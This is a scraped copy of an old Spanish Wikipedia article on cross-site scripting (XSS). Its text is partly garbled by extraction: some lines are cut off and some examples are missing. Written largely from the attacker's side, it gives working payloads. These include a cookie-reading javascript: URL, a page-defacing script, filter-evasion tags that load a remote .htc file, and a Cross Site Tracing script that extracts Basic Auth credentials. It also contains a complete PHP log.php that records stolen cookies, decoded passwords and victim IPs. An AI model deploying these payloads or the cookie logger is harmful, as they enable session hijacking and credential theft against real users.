4
XSS De Wikipedia, la enciclopedia libre Este artículo o sección necesita ser wikificado con un formato adecuado a las convenciones de estilo de Wikipedia. Por favor, edítalo (http://es.wikipedia.org/w/index.php?title=XSS&action=edit) para cumplir con ellas. No elimines este aviso hasta que lo hayas hecho. ¡Colabora wikificando! Tabla de contenidos 1 Introduccion 2 Indirecta 3 Usando FrameSets 4 Mensaje personalizado 5 Directa 5.1 Ejemplos de Scripts donde no son comunes de encontrar 6 Ajax 6.1 Script para obtener credenciales en tipo BASIC 7 log.php para registrar cookies 8 Enlaces externos Introduccion XSS es un ataque basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado. Su nombre, del inglés "Cross Site Scripting", y renombrado XSS para que no sea confundido con las hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar código de "scripting", como VBScript o javascript, en el contexto de otro dominio. Recientemente se acostumbra a llamar a los ataques de XSS "HTML Injection", sin embargo el término correcto es XSS. Estos errores se pueden encontrar en cualquier aplicación HTML, no se limita a sitios web, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador en sí. El problema está en que normalmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (foros, mensajes de error, comentarios) o indirecta (redirecciones, framesets). Cada una se trata de forma diferente. Directa: Este tipo de XSS es el que normalmente es censurado; así que es muy poco común que puedas usar tags como <script> o <iframe> Indirecta: Esta es un tipo de vulnerabilidad, muy común y muy poco explotada. Consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones. Indirecta Sucede cuando hay un mensaje o una ruta en la URL del navegador o en una cookie. Para saber el contenido

XSS

Embed Size (px)

DESCRIPTION

XSS

Citation preview

Page 1: XSS

XSS

De Wikipedia, la enciclopedia libre

Este artículo o sección necesita ser wikificado con un formato adecuado a las

convenciones de estilo de Wikipedia.Por favor, edítalo (http://es.wikipedia.org/w/index.php?title=XSS&action=edit) para cumplir con ellas.

No elimines este aviso hasta que lo hayas hecho. ¡Colabora wikificando!

Tabla de contenidos

1 Introduccion2 Indirecta3 Usando FrameSets4 Mensaje personalizado5 Directa

5.1 Ejemplos de Scripts donde no son comunes de encontrar6 Ajax

6.1 Script para obtener credenciales en tipo BASIC7 log.php para registrar cookies8 Enlaces externos

Introduccion

XSS es un ataque basado en la explotación de vulnerabilidades del sistema de validación de HTMLincrustado. Su nombre, del inglés "Cross Site Scripting", y renombrado XSS para que no sea confundido conlas hojas de estilo en cascada (CSS), originalmente abarcaba cualquier ataque que permitiera ejecutar códigode "scripting", como VBScript o javascript, en el contexto de otro dominio. Recientemente se acostumbra allamar a los ataques de XSS "HTML Injection", sin embargo el término correcto es XSS. Estos errores sepueden encontrar en cualquier aplicación HTML, no se limita a sitios web, ya que puede haber aplicacioneslocales vulnerables a XSS, o incluso el navegador en sí. El problema está en que normalmente no se validancorrectamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estarpresente de forma directa (foros, mensajes de error, comentarios) o indirecta (redirecciones, framesets). Cadauna se trata de forma diferente.

Directa: Este tipo de XSS es el que normalmente es censurado; así que es muy poco común quepuedas usar tags como <script> o <iframe>

Indirecta: Esta es un tipo de vulnerabilidad, muy común y muy poco explotada. Consiste enmodificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usarsesiones.

Indirecta

Sucede cuando hay un mensaje o una ruta en la URL del navegador o en una cookie. Para saber el contenido

Page 2: XSS

de una cookie, sin usar ningún tipo de iecv o addin para tu navegador, puedes usar el siguiente script dejasildbg. Sólo colócalo en la barra de direcciones, y presiona Enter.

Una vez dentro se puede modificar la cookie a tu antojo. Si pones cancelar la cookie se borrará.

¿Qué podemos ver con este ejemplo? Que podemos meter comandos javascript solo modificando una URL.

Usando FrameSets

Regresemos al ejemplo del frameset, que según la página que coloques te crea un frame a esa página. ¿Quépasara si pones en esa URL?

Y el enlace lo pone un intruso hacia un foro. Un navegador incauto, va a verlo y dirá, bueno, es del mismodominio, no puede ser nada malo.. y de resultado tendrá un loop infinito.

Hasta ahí llegan los newbies. Pero vamos a ponernos en la piel de un experto. Se trata de colocar un scriptque tome tu cookie, y mande un mp al administrador, o incluso, que borre todos los mensajes de un foro.

El robo de cookies es lo más básico, y tiene como objetivo robar la cookie. ¿Y eso de qué sirve? Tengo elPHPSESSID, y si el usuario cierra sesión no sirve de nada.

Cierto, pero con el uso de la librería cURL un usuario malintencionado, podría al recibir tu cookie, entrar ala página, y dejarla en caché, para que el atacante cuando quiera, pueda entrar como tú, sin siquiera necesitartu contraseña.

Otro uso común para estas vulnerabilidades es lograr hacer phishing; o colocar un exploit.

Quiere ello decir que tú ves la barra de direcciones, y ves que estás en una página, pero realmente estás enotra. Introduces tu contraseña y la fastidiaste.

Lo peor son los sitios de descarga, que colocan en la misma URL el sitio de objetivo. Esas páginas web sonvulnerables a ataques XSS indirectos. O sea que un intruso puede colocar una imagen con enlace al sitiomalicioso, y se ejecuta, sin que el usuario lo sepa.

Mensaje personalizado

La técnica sólo funciona con imágenes:

Esa página es vulnerable a XSS indirecto.

Un <script> que cree otra sesión bajo otro usuario y tu sesión actual la mande al atacante (lo explicado decURL más arriba), puede causar estragos.

Este código (muy peligroso) borra todo el contenido de la página en cuestión, y escribe otra cosa:

javascript:for(var g in document.cookie.split(';'))void(prompt("Valor de cookie "+document.cookie.split(';')[

javascript:while(1)alert("Te estoy inundando de mensajes!");

error.php?error=Usuario%20Invalido

Page 3: XSS

Directa

Funciona localizando puntos débiles en la programación de los filtros. Así que si, por ejemplo, logran quitarlos <iframe>, <script>, el atacante siempre puede poner un <div> mal

Ejemplos de Scripts donde no son comunes de encontrar

Ajax

Éste es un tipo de XSS no tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad paraintroducir un objeto XMLHTTP y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.

El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un sistema basado enAutenticación Básica (Basic Auth). Sólo falta decodificarlo, pero es más fácil mandarlo codificado alregistro de contraseñas. La codificación es base64.

Script para obtener credenciales en tipo BASIC

Esta tecnica también es llamada XST Cross Site Tracing XST

Por cuestiones de seguridad.. Firefox y IExplorer 6.2+ no permiten usar el metodo TRACE.

log.php para registrar cookies

<script> document.documentElement.innerHTML="NADA";</script>

<BR SIZE="&{alert('XSS')}"><FK STYLE="behavior: url(http://yoursite/xss.htc);"><DIV STYLE="background-image: url(javascript:alert('XSS'))">

var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

// para firefox, es: var xmlhttp = new XMLHttpRequest();

xmlhttp.open("TRACE","./",false);

xmlhttp.send(null);

str1=xmlhttp.responseText;

splitString = str1.split("Authorization: Basic ");

str2=splitString[1];

str3=str2.match(/.*/)[0];

alert(str3);

Page 4: XSS

Enlaces externos

XSS Cheat Sheet (http://ha.ckers.org/xss.html)XSS FAQ (http://www.cgisecurity.com/articles/xss-faq.shtml)Sla.ckers Forum (http://sla.ckers.org)Ha.ckers Blog (http://ha.ckers.org)

Obtenido de "http://es.wikipedia.org/wiki/XSS"

Categorías: Wikipedia:Wikificar | Hacking

Esta página fue modificada por última vez el 06:37, 23 may 2007.Contenido disponible bajo los términos de la Licencia de documentación libre de GNU (véaseDerechos de autor).Wikipedia® es una marca registrada de la organización sin ánimo de lucro Wikimedia Foundation,Inc.

<?php

$archivo = fopen('log2.htm','a');

$cookie = $_GET['c'];

$usuario = $_GET['id'];

$ip = getenv ('REMOTE_ADDR');

$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");

fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.htmlentities(base64_decode($usuario)));

fwrite($archivo, '<br>Cookie: '.htmlentities($cookie).'<br>Pagina: '.htmlentities($re));fwrite($archivo, '<br> IP: ' .$ip. '<br> Fecha y Hora: ' .$fecha. '</hr>');

fclose($archivo);

?>